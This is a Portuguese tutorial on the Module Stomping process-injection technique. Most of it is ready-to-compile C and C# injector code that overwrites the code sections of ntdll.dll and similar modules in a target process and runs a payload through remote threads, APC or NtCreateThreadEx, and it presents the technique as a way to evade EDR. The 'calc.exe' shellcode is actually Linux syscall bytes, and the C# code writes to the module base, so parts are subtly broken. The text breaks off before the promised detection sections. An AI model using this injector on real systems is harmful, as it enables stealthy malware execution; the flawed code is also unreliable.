# Module Stomping

## 📑 **Índice**

1. [Fundamentos do Module Stomping](#-fundamentos-do-module-stomping)
2. [Arquitetura e Mecanismos](#-arquitetura-e-mecanismos)
3. [Técnicas de Exploração](#-técnicas-de-exploração)
4. [Implementação em C/C++](#-implementação-em-cc)
5. [Implementação em C#/.NET](#-implementação-em-cnet)
6. [Implementação em Python](#-implementação-em-python)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigação e Prevenção](#-mitigação-e-prevenção)

***

## 🔍 **Fundamentos do Module Stomping**

### **O que é Module Stomping?**

Module Stomping é uma técnica avançada de injeção de código que consiste em substituir (sobrescrever) o conteúdo de um módulo legítimo já carregado em um processo alvo por um payload malicioso. Diferente das técnicas tradicionais que alocam nova memória, o Module Stomping reutiliza seções de código existentes, tornando a detecção significativamente mais difícil para soluções de segurança.

### **Origem do Nome**

O termo "Module Stomping" refere-se à ação de "pisar" sobre um módulo legítimo, substituindo seu código original por código malicioso. É uma evolução do conceito de Process Hollowing, mas aplicado a módulos específicos em vez do processo inteiro.

### **Contexto Histórico**

```yaml
Evolução do Module Stomping:
  2017: Primeiras implementações em ferramentas de red team
  2018: Adoção por APT groups (DarkHotel, Lazarus)
  2019: Técnica documentada em pesquisas de segurança
  2020: Popularização em malwares como Qakbot e TrickBot
  2021: Implementação em frameworks C2 (Cobalt Strike, BruteRatel)
  2022: Técnica madura com múltiplas variações
  2023: Adoção por EDR evasion toolkits
```

### **Princípio Básico**

```mermaid
graph TD
    A[Processo Alvo] --> B[Módulo Legítimo Carregado]
    B --> C[Localizar seção de código]
    C --> D[Sobrescrever com payload]
    D --> E[Redirecionar execução]
    E --> F[Payload executado]
    
    subgraph "Vantagens"
        G[Sem alocação explícita]
        H[Usa memória já mapeada]
        I[Bypass de hooks EDR]
        J[Menos artefatos]
    end
```

### **Vantagens sobre Técnicas Tradicionais**

| Técnica                   | Alocação            | Detecção | Artefatos |
| ------------------------- | ------------------- | -------- | --------- |
| **Classic DLL Injection** | VirtualAllocEx      | Alta     | Muitos    |
| **Process Hollowing**     | Criação de processo | Média    | Moderados |
| **APC Injection**         | VirtualAllocEx      | Média    | Moderados |
| **Module Stomping**       | Nenhuma             | Baixa    | Mínimos   |

***

## 🏗️ **Arquitetura e Mecanismos**

### **Módulos Alvo Comuns**

```c
// Módulos frequentemente usados para Module Stomping
const char* target_modules[] = {
    "ntdll.dll",        // Sempre presente, raramente monitorado
    "kernel32.dll",     // Core do sistema
    "kernelbase.dll",   // Extensões do kernel
    "user32.dll",       // GUI (processos com janela)
    "gdi32.dll",        // Gráficos
    "advapi32.dll",     // Serviços e segurança
    "ole32.dll",        // COM
    "ws2_32.dll",       // Sockets
    "wininet.dll",      // Internet
    "crypt32.dll",      // Criptografia
    "msvcrt.dll",       // C Runtime
    "combase.dll"       // COM base
};
```

### **Estrutura de um Módulo PE**

```mermaid
graph LR
    subgraph "PE File Structure"
        A[DOS Header]
        B[NT Headers]
        C[Section Headers]
        D[Section .text]
        E[Section .data]
        F[Section .rdata]
    end
    
    subgraph "In Memory"
        G[Base Address]
        H[.text - RX]
        I[.data - RW]
        J[.rdata - R]
    end
```

### **Seções de Código**

| Seção      | Permissão         | Conteúdo            | Stomping          |
| ---------- | ----------------- | ------------------- | ----------------- |
| **.text**  | RX (Execute/Read) | Código executável   | ✅ Alvo primário   |
| **.rdata** | R (Read-only)     | Dados constantes    | ❌ Não executável  |
| **.data**  | RW (Read/Write)   | Dados inicializados | ⚠️ Pode ser usado |
| **.rsrc**  | R                 | Recursos            | ❌                 |
| **.reloc** | R                 | Relocações          | ❌                 |

### **Fluxo de Execução**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant P as Processo Alvo
    participant M as Módulo Alvo
    participant E as EDR

    A->>P: OpenProcess
    A->>M: EnumProcessModules
    M-->>A: Base Address do módulo
    
    A->>P: VirtualProtectEx (RWX)
    A->>P: WriteProcessMemory (payload)
    A->>P: VirtualProtectEx (RX original)
    
    Note over P,M: Módulo agora contém payload
    
    A->>P: CreateRemoteThread (endereço do payload)
    P->>M: Executa payload
    Note over E: Detecta como código legítimo
```

***

## ⚔️ **Técnicas de Exploração**

### **1. Module Stomping Básico (ntdll.dll)**

```c
#include <windows.h>
#include <psapi.h>
#include <stdio.h>

// Encontrar módulo pelo nome
HMODULE FindModule(HANDLE hProcess, const char* moduleName) {
    HMODULE hModules[1024];
    DWORD cbNeeded;
    
    if (!EnumProcessModules(hProcess, hModules, sizeof(hModules), &cbNeeded)) {
        return NULL;
    }
    
    for (int i = 0; i < cbNeeded / sizeof(HMODULE); i++) {
        char currentName[MAX_PATH];
        if (GetModuleBaseNameA(hProcess, hModules[i], currentName, sizeof(currentName))) {
            if (_stricmp(currentName, moduleName) == 0) {
                return hModules[i];
            }
        }
    }
    
    return NULL;
}

// Encontrar seção .text do módulo
LPVOID FindTextSection(HANDLE hProcess, HMODULE hModule) {
    MODULEINFO moduleInfo;
    if (!GetModuleInformation(hProcess, hModule, &moduleInfo, sizeof(moduleInfo))) {
        return NULL;
    }
    
    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)moduleInfo.lpBaseOfDll;
    IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)dosHeader + dosHeader->e_lfanew);
    IMAGE_SECTION_HEADER* section = IMAGE_FIRST_SECTION(ntHeaders);
    
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        if (memcmp(section[i].Name, ".text", 5) == 0) {
            return (LPVOID)((BYTE*)dosHeader + section[i].VirtualAddress);
        }
    }
    
    return NULL;
}

// Module Stomping via ntdll.dll
BOOL ModuleStompingInject(DWORD pid, unsigned char* payload, SIZE_T payloadSize) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) {
        printf("[-] Failed to open process\n");
        return FALSE;
    }
    
    // Encontrar ntdll.dll
    HMODULE hNtdll = FindModule(hProcess, "ntdll.dll");
    if (!hNtdll) {
        printf("[-] ntdll.dll not found\n");
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // Encontrar seção .text
    LPVOID textSection = FindTextSection(hProcess, hNtdll);
    if (!textSection) {
        printf("[-] .text section not found\n");
        CloseHandle(hProcess);
        return FALSE;
    }
    
    printf("[+] Found ntdll.dll .text section at 0x%p\n", textSection);
    
    // Calcular offset dentro da seção (evitar sobreposição de código crítico)
    DWORD offset = 0x1000;  // 4KB offset
    LPVOID targetAddress = (LPVOID)((BYTE*)textSection + offset);
    
    // Mudar proteção para RWX
    DWORD oldProtect;
    if (!VirtualProtectEx(hProcess, targetAddress, payloadSize, 
                          PAGE_EXECUTE_READWRITE, &oldProtect)) {
        printf("[-] Failed to change protection\n");
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // Escrever payload
    SIZE_T bytesWritten;
    if (!WriteProcessMemory(hProcess, targetAddress, payload, payloadSize, &bytesWritten)) {
        printf("[-] Failed to write payload\n");
        VirtualProtectEx(hProcess, targetAddress, payloadSize, oldProtect, &oldProtect);
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // Restaurar proteção original
    VirtualProtectEx(hProcess, targetAddress, payloadSize, oldProtect, &oldProtect);
    
    printf("[+] Payload written to ntdll.dll\n");
    
    // Executar payload
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, 
                                        (LPTHREAD_START_ROUTINE)targetAddress,
                                        NULL, 0, NULL);
    
    if (hThread) {
        printf("[+] Remote thread created\n");
        CloseHandle(hThread);
        CloseHandle(hProcess);
        return TRUE;
    }
    
    CloseHandle(hProcess);
    return FALSE;
}
```

### **2. Module Stomping com Page Alignment**

```c
// Encontrar endereço alinhado para payload
LPVOID FindAlignedAddress(LPVOID startAddress, SIZE_T payloadSize, DWORD alignment = 0x1000) {
    LPVOID aligned = (LPVOID)(((DWORD_PTR)startAddress + alignment - 1) & ~(alignment - 1));
    
    // Verificar se há espaço suficiente
    if ((DWORD_PTR)aligned + payloadSize <= (DWORD_PTR)startAddress + 0x10000) {
        return aligned;
    }
    
    return NULL;
}

// Module Stomping com alinhamento
BOOL AdvancedModuleStomping(DWORD pid, unsigned char* payload, SIZE_T payloadSize) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return FALSE;
    
    // Encontrar módulo
    HMODULE hModule = FindModule(hProcess, "ntdll.dll");
    if (!hModule) {
        CloseHandle(hProcess);
        return FALSE;
    }
    
    MODULEINFO moduleInfo;
    GetModuleInformation(hProcess, hModule, &moduleInfo, sizeof(moduleInfo));
    
    LPVOID textSection = FindTextSection(hProcess, hModule);
    if (!textSection) {
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // Encontrar endereço alinhado
    LPVOID targetAddress = FindAlignedAddress(textSection, payloadSize);
    if (!targetAddress) {
        printf("[-] No aligned space found\n");
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // Verificar se a região está livre
    MEMORY_BASIC_INFORMATION mbi;
    if (VirtualQueryEx(hProcess, targetAddress, &mbi, sizeof(mbi))) {
        if (mbi.State == MEM_COMMIT && (mbi.Protect & PAGE_EXECUTE_READ)) {
            printf("[+] Found suitable region at 0x%p\n", targetAddress);
            
            // Sobrescrever
            DWORD oldProtect;
            VirtualProtectEx(hProcess, targetAddress, payloadSize, 
                            PAGE_EXECUTE_READWRITE, &oldProtect);
            WriteProcessMemory(hProcess, targetAddress, payload, payloadSize, NULL);
            VirtualProtectEx(hProcess, targetAddress, payloadSize, oldProtect, &oldProtect);
            
            // Executar
            CreateRemoteThread(hProcess, NULL, 0, 
                              (LPTHREAD_START_ROUTINE)targetAddress,
                              NULL, 0, NULL);
            
            CloseHandle(hProcess);
            return TRUE;
        }
    }
    
    CloseHandle(hProcess);
    return FALSE;
}
```

### **3. Module Stomping com Multiple Modules**

```c
// Tentar vários módulos até encontrar espaço
BOOL MultiModuleStomping(DWORD pid, unsigned char* payload, SIZE_T payloadSize) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return FALSE;
    
    const char* modules[] = {"ntdll.dll", "kernel32.dll", "user32.dll", "gdi32.dll"};
    
    for (int i = 0; i < sizeof(modules) / sizeof(modules[0]); i++) {
        HMODULE hModule = FindModule(hProcess, modules[i]);
        if (!hModule) continue;
        
        MODULEINFO moduleInfo;
        GetModuleInformation(hProcess, hModule, &moduleInfo, sizeof(moduleInfo));
        
        LPVOID textSection = FindTextSection(hProcess, hModule);
        if (!textSection) continue;
        
        // Procurar espaço dentro do módulo
        for (DWORD offset = 0; offset < moduleInfo.SizeOfImage; offset += 0x1000) {
            LPVOID candidate = (LPVOID)((BYTE*)textSection + offset);
            
            MEMORY_BASIC_INFORMATION mbi;
            if (VirtualQueryEx(hProcess, candidate, &mbi, sizeof(mbi))) {
                if (mbi.State == MEM_COMMIT && 
                    (mbi.Protect & PAGE_EXECUTE_READ) &&
                    mbi.RegionSize >= payloadSize) {
                    
                    printf("[+] Found space in %s at 0x%p\n", modules[i], candidate);
                    
                    DWORD oldProtect;
                    VirtualProtectEx(hProcess, candidate, payloadSize, 
                                    PAGE_EXECUTE_READWRITE, &oldProtect);
                    WriteProcessMemory(hProcess, candidate, payload, payloadSize, NULL);
                    VirtualProtectEx(hProcess, candidate, payloadSize, oldProtect, &oldProtect);
                    
                    CreateRemoteThread(hProcess, NULL, 0, 
                                      (LPTHREAD_START_ROUTINE)candidate,
                                      NULL, 0, NULL);
                    
                    CloseHandle(hProcess);
                    return TRUE;
                }
            }
        }
    }
    
    CloseHandle(hProcess);
    return FALSE;
}
```

### **4. Module Stomping com NtCreateThreadEx**

```c
// Usar NtCreateThreadEx (menos monitorado que CreateRemoteThread)
typedef NTSTATUS(WINAPI* pNtCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    PVOID ObjectAttributes,
    HANDLE ProcessHandle,
    PVOID StartRoutine,
    PVOID Argument,
    ULONG CreateFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    PVOID AttributeList
);

BOOL NtModuleStomping(DWORD pid, unsigned char* payload, SIZE_T payloadSize) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return FALSE;
    
    // Carregar ntdll
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
    
    // Encontrar módulo e espaço
    HMODULE hModule = FindModule(hProcess, "ntdll.dll");
    LPVOID textSection = FindTextSection(hProcess, hModule);
    LPVOID targetAddress = (LPVOID)((BYTE*)textSection + 0x2000);
    
    // Escrever payload
    DWORD oldProtect;
    VirtualProtectEx(hProcess, targetAddress, payloadSize, PAGE_EXECUTE_READWRITE, &oldProtect);
    WriteProcessMemory(hProcess, targetAddress, payload, payloadSize, NULL);
    VirtualProtectEx(hProcess, targetAddress, payloadSize, oldProtect, &oldProtect);
    
    // Executar via NtCreateThreadEx
    HANDLE hThread;
    NTSTATUS status = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,
                                       targetAddress, NULL, 0, 0, 0, 0, NULL);
    
    if (status == 0) {
        printf("[+] Thread created via NtCreateThreadEx\n");
        CloseHandle(hThread);
        CloseHandle(hProcess);
        return TRUE;
    }
    
    CloseHandle(hProcess);
    return FALSE;
}
```

### **5. Module Stomping com APC e Thread Hijacking**

```c
// Combinação com APC para execução furtiva
BOOL APCModuleStomping(DWORD pid, unsigned char* payload, SIZE_T payloadSize) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return FALSE;
    
    // Encontrar módulo
    HMODULE hModule = FindModule(hProcess, "ntdll.dll");
    LPVOID textSection = FindTextSection(hProcess, hModule);
    LPVOID targetAddress = (LPVOID)((BYTE*)textSection + 0x1000);
    
    // Escrever payload
    DWORD oldProtect;
    VirtualProtectEx(hProcess, targetAddress, payloadSize, PAGE_EXECUTE_READWRITE, &oldProtect);
    WriteProcessMemory(hProcess, targetAddress, payload, payloadSize, NULL);
    VirtualProtectEx(hProcess, targetAddress, payloadSize, oldProtect, &oldProtect);
    
    // Encontrar thread para APC
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    
    if (Thread32First(hSnapshot, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
                if (hThread) {
                    QueueUserAPC((PAPCFUNC)targetAddress, hThread, 0);
                    printf("[+] APC queued to thread %lu\n", te.th32ThreadID);
                    CloseHandle(hThread);
                    CloseHandle(hSnapshot);
                    CloseHandle(hProcess);
                    return TRUE;
                }
            }
        } while (Thread32Next(hSnapshot, &te));
    }
    
    CloseHandle(hSnapshot);
    CloseHandle(hProcess);
    return FALSE;
}
```

***

## 🔧 **Implementação em C/C++**

### **Module Stomping Full Implementation**

```c
// module_stomping_full.c
// Implementação completa com múltiplas técnicas

#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <stdio.h>

#pragma comment(lib, "psapi.lib")

typedef struct {
    LPVOID address;
    SIZE_T size;
    HMODULE module;
    char moduleName[MAX_PATH];
} StompTarget;

// Enumerar todos os módulos do processo
int EnumModules(HANDLE hProcess, HMODULE* modules, int maxModules) {
    HMODULE hMods[1024];
    DWORD cbNeeded;
    
    if (!EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {
        return 0;
    }
    
    int count = cbNeeded / sizeof(HMODULE);
    for (int i = 0; i < count && i < maxModules; i++) {
        modules[i] = hMods[i];
    }
    
    return count;
}

// Encontrar seção de código no módulo
LPVOID FindCodeSection(HANDLE hProcess, HMODULE hModule, DWORD* sectionSize) {
    MODULEINFO moduleInfo;
    if (!GetModuleInformation(hProcess, hModule, &moduleInfo, sizeof(moduleInfo))) {
        return NULL;
    }
    
    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)moduleInfo.lpBaseOfDll;
    IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)dosHeader + dosHeader->e_lfanew);
    IMAGE_SECTION_HEADER* section = IMAGE_FIRST_SECTION(ntHeaders);
    
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        if ((section[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) &&
            (section[i].Characteristics & IMAGE_SCN_MEM_READ)) {
            *sectionSize = section[i].Misc.VirtualSize;
            return (LPVOID)((BYTE*)dosHeader + section[i].VirtualAddress);
        }
    }
    
    return NULL;
}

// Encontrar espaço no módulo para o payload
StompTarget FindStompSpace(HANDLE hProcess, HMODULE hModule, SIZE_T payloadSize) {
    StompTarget target = {0};
    
    MODULEINFO moduleInfo;
    if (!GetModuleInformation(hProcess, hModule, &moduleInfo, sizeof(moduleInfo))) {
        return target;
    }
    
    LPVOID codeSection;
    DWORD sectionSize;
    codeSection = FindCodeSection(hProcess, hModule, &sectionSize);
    
    if (!codeSection) return target;
    
    // Procurar por espaço adequado dentro da seção
    for (DWORD offset = 0; offset < sectionSize - payloadSize; offset += 0x100) {
        LPVOID candidate = (LPVOID)((BYTE*)codeSection + offset);
        
        MEMORY_BASIC_INFORMATION mbi;
        if (VirtualQueryEx(hProcess, candidate, &mbi, sizeof(mbi))) {
            if (mbi.State == MEM_COMMIT && 
                (mbi.Protect & PAGE_EXECUTE_READ) &&
                mbi.RegionSize >= payloadSize) {
                
                target.address = candidate;
                target.size = mbi.RegionSize;
                target.module = hModule;
                GetModuleBaseNameA(hProcess, hModule, target.moduleName, sizeof(target.moduleName));
                return target;
            }
        }
    }
    
    return target;
}

// Executar payload via APC
BOOL ExecuteViaAPC(HANDLE hProcess, LPVOID address) {
    DWORD pid = GetProcessId(hProcess);
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) return FALSE;
    
    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    BOOL success = FALSE;
    
    if (Thread32First(hSnapshot, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
                if (hThread) {
                    QueueUserAPC((PAPCFUNC)address, hThread, 0);
                    printf("[+] APC queued to thread %lu\n", te.th32ThreadID);
                    success = TRUE;
                    CloseHandle(hThread);
                    break;
                }
            }
        } while (Thread32Next(hSnapshot, &te));
    }
    
    CloseHandle(hSnapshot);
    return success;
}

// Executar payload via CreateRemoteThread
BOOL ExecuteViaRemoteThread(HANDLE hProcess, LPVOID address) {
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, 
                                        (LPTHREAD_START_ROUTINE)address,
                                        NULL, 0, NULL);
    if (hThread) {
        CloseHandle(hThread);
        return TRUE;
    }
    return FALSE;
}

// Executar payload via NtCreateThreadEx
BOOL ExecuteViaNtCreateThread(HANDLE hProcess, LPVOID address) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) return FALSE;
    
    typedef NTSTATUS(WINAPI* pNtCreateThreadEx)(
        PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID);
    
    pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
    if (!NtCreateThreadEx) return FALSE;
    
    HANDLE hThread;
    NTSTATUS status = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,
                                       address, NULL, 0, 0, 0, 0, NULL);
    
    if (status == 0) {
        CloseHandle(hThread);
        return TRUE;
    }
    return FALSE;
}

// Função principal de injeção
BOOL ModuleStomping(DWORD pid, unsigned char* payload, SIZE_T payloadSize, int execMethod) {
    printf("[*] Module Stomping on PID %lu\n", pid);
    
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) {
        printf("[-] Failed to open process\n");
        return FALSE;
    }
    
    // Módulos prioritários para stomping
    const char* priorityModules[] = {
        "ntdll.dll", "kernel32.dll", "kernelbase.dll",
        "user32.dll", "gdi32.dll", "advapi32.dll"
    };
    
    StompTarget target = {0};
    
    for (int i = 0; i < sizeof(priorityModules) / sizeof(priorityModules[0]); i++) {
        HMODULE hModule = GetModuleHandleA(priorityModules[i]);
        if (!hModule) {
            // Tentar encontrar pelo nome no processo
            HMODULE hMods[256];
            int moduleCount = EnumModules(hProcess, hMods, 256);
            
            for (int j = 0; j < moduleCount; j++) {
                char moduleName[MAX_PATH];
                GetModuleBaseNameA(hProcess, hMods[j], moduleName, sizeof(moduleName));
                if (_stricmp(moduleName, priorityModules[i]) == 0) {
                    hModule = hMods[j];
                    break;
                }
            }
        }
        
        if (hModule) {
            target = FindStompSpace(hProcess, hModule, payloadSize);
            if (target.address) {
                printf("[+] Found space in %s at 0x%p\n", target.moduleName, target.address);
                break;
            }
        }
    }
    
    if (!target.address) {
        printf("[-] No suitable space found\n");
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // Mudar proteção
    DWORD oldProtect;
    if (!VirtualProtectEx(hProcess, target.address, payloadSize, 
                          PAGE_EXECUTE_READWRITE, &oldProtect)) {
        printf("[-] Failed to change protection\n");
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // Escrever payload
    SIZE_T bytesWritten;
    if (!WriteProcessMemory(hProcess, target.address, payload, payloadSize, &bytesWritten)) {
        printf("[-] Failed to write payload\n");
        VirtualProtectEx(hProcess, target.address, payloadSize, oldProtect, &oldProtect);
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // Restaurar proteção
    VirtualProtectEx(hProcess, target.address, payloadSize, oldProtect, &oldProtect);
    printf("[+] Payload written successfully\n");
    
    // Executar
    BOOL execSuccess = FALSE;
    
    switch (execMethod) {
        case 1:
            execSuccess = ExecuteViaRemoteThread(hProcess, target.address);
            break;
        case 2:
            execSuccess = ExecuteViaAPC(hProcess, target.address);
            break;
        case 3:
            execSuccess = ExecuteViaNtCreateThread(hProcess, target.address);
            break;
        default:
            execSuccess = ExecuteViaRemoteThread(hProcess, target.address);
    }
    
    if (execSuccess) {
        printf("[+] Payload executed\n");
    } else {
        printf("[-] Failed to execute payload\n");
    }
    
    CloseHandle(hProcess);
    return execSuccess;
}

// Shellcode de exemplo (calc.exe)
unsigned char shellcode[] = 
"\x48\x31\xc0\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48"
"\x89\xe2\x48\x31\xc0\x50\x48\x8d\x52\x04\x48\x89\xe1\x48\x31\xc0"
"\xb0\x3b\x0f\x05";

int main(int argc, char** argv) {
    if (argc < 2) {
        printf("Usage: %s <PID> [method]\n", argv[0]);
        printf("Methods: 1 = CreateRemoteThread, 2 = APC, 3 = NtCreateThreadEx\n");
        return 1;
    }
    
    DWORD pid = atoi(argv[1]);
    int method = (argc > 2) ? atoi(argv[2]) : 1;
    
    if (ModuleStomping(pid, shellcode, sizeof(shellcode), method)) {
        printf("[+] Module Stomping successful!\n");
    } else {
        printf("[-] Module Stomping failed\n");
    }
    
    return 0;
}
```

***

## 🚀 **Implementação em C#/.NET**

```csharp
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;

class ModuleStompingInjector
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CloseHandle(IntPtr hObject);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, 
                                        uint flNewProtect, out uint lpflOldProtect);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, 
                                          byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, 
                                            uint dwStackSize, IntPtr lpStartAddress, 
                                            IntPtr lpParameter, uint dwCreationFlags, 
                                            out IntPtr lpThreadId);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
    
    [DllImport("psapi.dll", SetLastError = true)]
    static extern bool EnumProcessModules(IntPtr hProcess, out IntPtr lphModule, 
                                          uint cb, out uint lpcbNeeded);
    
    [DllImport("psapi.dll", SetLastError = true)]
    static extern uint GetModuleBaseName(IntPtr hProcess, IntPtr hModule, 
                                         StringBuilder lpBaseName, uint nSize);
    
    [DllImport("psapi.dll", SetLastError = true)]
    static extern bool GetModuleInformation(IntPtr hProcess, IntPtr hModule, 
                                            out MODULEINFO lpmodinfo, uint cb);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr GetModuleHandle(string lpModuleName);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
    
    [StructLayout(LayoutKind.Sequential)]
    public struct MODULEINFO
    {
        public IntPtr lpBaseOfDll;
        public uint SizeOfImage;
        public IntPtr EntryPoint;
    }
    
    const uint PROCESS_ALL_ACCESS = 0x1F0FFF;
    const uint PAGE_EXECUTE_READWRITE = 0x40;
    const uint PAGE_EXECUTE_READ = 0x20;
    const uint THREAD_SET_CONTEXT = 0x10;
    
    static byte[] shellcode = {
        0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
        0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
        0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
        0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
    };
    
    static string[] targetModules = {
        "ntdll.dll", "kernel32.dll", "kernelbase.dll",
        "user32.dll", "gdi32.dll", "advapi32.dll"
    };
    
    static IntPtr FindCodeSection(IntPtr hProcess, IntPtr hModule, out uint sectionSize)
    {
        sectionSize = 0;
        MODULEINFO moduleInfo;
        if (!GetModuleInformation(hProcess, hModule, out moduleInfo, (uint)Marshal.SizeOf(typeof(MODULEINFO))))
            return IntPtr.Zero;
        
        // Buscar seção de código (simplificado)
        // Na prática, seria necessário parsear o PE
        return moduleInfo.lpBaseOfDll;
    }
    
    static bool Inject(int pid, int execMethod)
    {
        Console.WriteLine($"[*] Module Stomping on PID {pid}");
        
        IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
        if (hProcess == IntPtr.Zero)
        {
            Console.WriteLine("[-] Failed to open process");
            return false;
        }
        
        foreach (string moduleName in targetModules)
        {
            IntPtr hModule = GetModuleHandle(moduleName);
            if (hModule == IntPtr.Zero)
            {
                // Tentar enumerar módulos do processo
                IntPtr hMods;
                uint cbNeeded;
                if (EnumProcessModules(hProcess, out hMods, (uint)Marshal.SizeOf(typeof(IntPtr)), out cbNeeded))
                {
                    int moduleCount = (int)cbNeeded / Marshal.SizeOf(typeof(IntPtr));
                    IntPtr[] modules = new IntPtr[moduleCount];
                    Marshal.Copy(hMods, modules, 0, moduleCount);
                    
                    foreach (IntPtr mod in modules)
                    {
                        StringBuilder name = new StringBuilder(256);
                        GetModuleBaseName(hProcess, mod, name, 256);
                        if (name.ToString().Equals(moduleName, StringComparison.OrdinalIgnoreCase))
                        {
                            hModule = mod;
                            break;
                        }
                    }
                }
            }
            
            if (hModule != IntPtr.Zero)
            {
                uint sectionSize;
                IntPtr codeSection = FindCodeSection(hProcess, hModule, out sectionSize);
                
                if (codeSection != IntPtr.Zero && sectionSize >= shellcode.Length)
                {
                    Console.WriteLine($"[+] Found space in {moduleName} at 0x{codeSection.ToInt64():X}");
                    
                    uint oldProtect;
                    if (VirtualProtectEx(hProcess, codeSection, (uint)shellcode.Length, 
                                        PAGE_EXECUTE_READWRITE, out oldProtect))
                    {
                        IntPtr bytesWritten;
                        if (WriteProcessMemory(hProcess, codeSection, shellcode, 
                                               (uint)shellcode.Length, out bytesWritten))
                        {
                            VirtualProtectEx(hProcess, codeSection, (uint)shellcode.Length, 
                                            oldProtect, out oldProtect);
                            
                            Console.WriteLine("[+] Payload written");
                            
                            // Executar
                            bool execSuccess = false;
                            
                            if (execMethod == 1)
                            {
                                IntPtr threadId;
                                IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, 
                                                                    codeSection, IntPtr.Zero, 0, out threadId);
                                if (hThread != IntPtr.Zero)
                                {
                                    Console.WriteLine("[+] Remote thread created");
                                    CloseHandle(hThread);
                                    execSuccess = true;
                                }
                            }
                            else if (execMethod == 2)
                            {
                                // APC execution
                                // (Requires enumerating threads)
                                Console.WriteLine("[+] APC execution not implemented in this example");
                            }
                            
                            if (execSuccess)
                            {
                                CloseHandle(hProcess);
                                return true;
                            }
                        }
                    }
                }
            }
        }
        
        CloseHandle(hProcess);
        return false;
    }
    
    static void Main(string[] args)
    {
        if (args.Length < 1)
        {
            Console.WriteLine("Usage: ModuleStompingInjector.exe <PID> [method]");
